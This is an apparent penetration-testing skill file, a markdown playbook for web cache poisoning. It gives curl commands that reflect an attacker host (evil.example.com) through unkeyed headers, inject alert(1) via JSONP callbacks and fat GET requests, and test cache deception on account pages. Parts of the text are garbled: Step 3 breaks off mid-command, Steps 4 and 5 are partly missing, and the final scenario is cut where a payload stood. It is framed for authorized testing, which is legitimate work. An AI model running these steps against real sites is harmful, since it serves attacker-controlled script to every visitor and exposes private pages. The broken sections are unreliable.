--- name: performing-web-cache-poisoning-attack description: Exploiting web cache mechanisms to serve malicious content to other users by poisoning cached responses through unkeyed headers and parameters during authorized security tests. domain: cybersecurity subdomain: web-application-security tags: [penetration-testing, cache-poisoning, web-security, cdn, burpsuite, owasp] version: "1.0" author: mahipal license: MIT --- # Performing Web Cache Poisoning Attack ## When to Use - During authorized penetration tests when the application uses CDN or reverse proxy caching (Cloudflare, Akamai, Varnish, Nginx) - When assessing web applications for cache-based vulnerabilities that could affect all users - For testing whether unkeyed HTTP headers are reflected in cached responses - When evaluating cache key behavior and cache deception vulnerabilities - During security assessments of applications with aggressive caching policies ## Prerequisites - **Authorization**: Written penetration testing agreement explicitly covering cache poisoning testing - **Burp Suite Professional**: With Param Miner extension for automated unkeyed header discovery - **curl**: For manual cache testing with precise header control - **Target knowledge**: Understanding of the caching layer (CDN provider, cache headers) - **Cache buster**: Unique query parameter to isolate test requests from other users - **Caution**: Cache poisoning affects all users; test with cache-busting parameters first ## Workflow ### Step 1: Identify the Caching Layer and Behavior Determine what caching infrastructure is in use and how the cache key is constructed. ```bash # Check cache-related response headers curl -s -I "https://target.example.com/" | grep -iE \ "(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)" # Common cache indicators: # X-Cache: HIT / MISS # CF-Cache-Status: HIT / MISS / DYNAMIC (Cloudflare) # Age: 120 (seconds since cached) # X-Varnish: 12345 67890 (Varnish) # Via: 1.1 varnish (Varnish/CDN proxy) # Determine cache key by testing variations # Cache key typically includes: Host + Path + Query string # Test 1: Same URL, two requests - check if second is cached curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache" curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache" # First: MISS, Second: HIT = caching is active # Test 2: Vary header behavior curl -s -I "https://target.example.com/" | grep -i "vary" # Vary: Accept-Encoding means Accept-Encoding is part of cache key ``` ### Step 2: Discover Unkeyed Inputs with Param Miner Use Burp's Param Miner to find headers and parameters not included in the cache key but reflected in responses. ``` # In Burp Suite: # 1. Install Param Miner from BApp Store # 2. Right-click target request > Extensions > Param Miner > Guess headers # 3. Param Miner will test hundreds of HTTP headers # 4. Check results in Extender > Extensions > Param Miner > Output # Common unkeyed headers to test manually: # X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto # X-Original-URL, X-Rewrite-URL # X-Host, X-Forwarded-Server # Origin, Referer # X-Forwarded-For, True-Client-IP ``` ```bash # Manual testing for unkeyed header reflection # Add cache buster to isolate testing CB="cachebuster=$(date +%s)" # Test X-Forwarded-Host reflection curl -s -H "X-Forwarded-Host: evil.example.com" \ "https://target.example.com/?$CB" | grep "evil.example.com" # Test X-Forwarded-Scheme curl -s -H "X-Forwarded-Scheme: nothttps" \ "https://target.example.com/?$CB" | grep "nothttps" # Test X-Original-URL (path override) curl -s -H "X-Original-URL: /admin" \ "https://target.example.com/?$CB" # Test X-Forwarded-Proto curl -s -H "X-Forwarded-Proto: http" \ "https://target.example.com/?$CB" | grep "http://" ``` ### Step 3: Exploit Unkeyed Header for Cache Poisoning Craft requests that poison cached responses with malicious content. ```bash # Scenario: X-Forwarded-Host reflected in resource URLs # Normal response includes: &cb=$(date +%s)" | \ grep "alert" # Parameter cloaking via parsing differences # Backend sees: callback=evil, Cache key ignores: callback curl -s "https://target.example.com/jsonp?callback=alert(1)&cb=$(date +%s)" # Fat GET request (body in GET request) curl -s -X GET \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "param=evil_value" \ "https://target.example.com/page?cb=$(date +%s)" # Cache key normalization differences # Some caches normalize query string order, some don't curl -s "https://target.example.com/page?a=1&b=2" # Cached as key1 curl -s "https://target.example.com/page?b=2&a=1" # Same key? Or different? # Test port-based cache poisoning curl -s -H "Host: target.example.com:1234" \ "https://target.example.com/?cb=$(date +%s)" | grep "1234" ``` ### Step 6: Validate Impact and Clean Up Confirm the attack impact and ensure poisoned cache entries are cleared. ```bash # Verify poisoned cache serves to other users # Use a different IP/User-Agent/session to verify curl -s -H "User-Agent: CacheVerification" \ "https://target.example.com/" | grep "evil" # Check cache TTL to understand exposure window curl -s -I "https://target.example.com/" | grep -i "cache-control\|max-age\|s-maxage" # max-age=3600 means poisoned for 1 hour # Clean up: Force cache refresh # Some CDNs allow purging via API # Cloudflare: API call to purge cache # Varnish: PURGE method curl -s -X PURGE "https://target.example.com/" # Or wait for TTL to expire # Document the cache poisoning window # Start time: when poison request was sent # End time: start time + max-age # Affected users: all users hitting the cached URL during the window ``` ## Key Concepts | Concept | Description | |---------|-------------| | **Cache Key** | The set of request attributes (host, path, query) used to identify cached responses | | **Unkeyed Input** | HTTP headers or parameters not included in the cache key but reflected in responses | | **Cache Poisoning** | Injecting malicious content into cached responses that are served to other users | | **Cache Deception** | Tricking the cache into storing authenticated/private responses as public content | | **Vary Header** | HTTP header specifying which request headers should be included in the cache key | | **Cache Buster** | A unique query parameter used to prevent affecting the real cache during testing | | **TTL (Time to Live)** | Duration a cached response remains valid before being refreshed | ## Tools & Systems | Tool | Purpose | |------|---------| | **Burp Suite Professional** | Request interception and cache behavior analysis | | **Param Miner (Burp Extension)** | Automated discovery of unkeyed HTTP headers and parameters | | **Web Cache Vulnerability Scanner** | Automated cache poisoning detection tool | | **curl** | Manual HTTP request crafting with precise header control | | **Varnishlog** | Varnish cache debugging and log analysis | | **CDN-specific tools** | Cloudflare Analytics, Akamai Pragma headers for cache diagnostics | ## Common Scenarios ### Scenario 1: X-Forwarded-Host Script Injection The application reflects the `X-Forwarded-Host` header in script src URLs. This header is not part of the cache key. Sending a request with `X-Forwarded-Host: evil.com` poisons the cache to load JavaScript from the attacker's server for all subsequent visitors. ### Scenario 2: Web Cache Deception on Account Page A Cloudflare-cached application ignores unknown path segments. Requesting `/account/profile/logo.png` returns the account page while Cloudflare caches it as a static image. Any unauthenticated user can then access the cached account page. ### Scenario 3: Parameter-Based XSS via Cache UTM tracking parameters are excluded from the cache key but rendered in the page HTML. Injecting `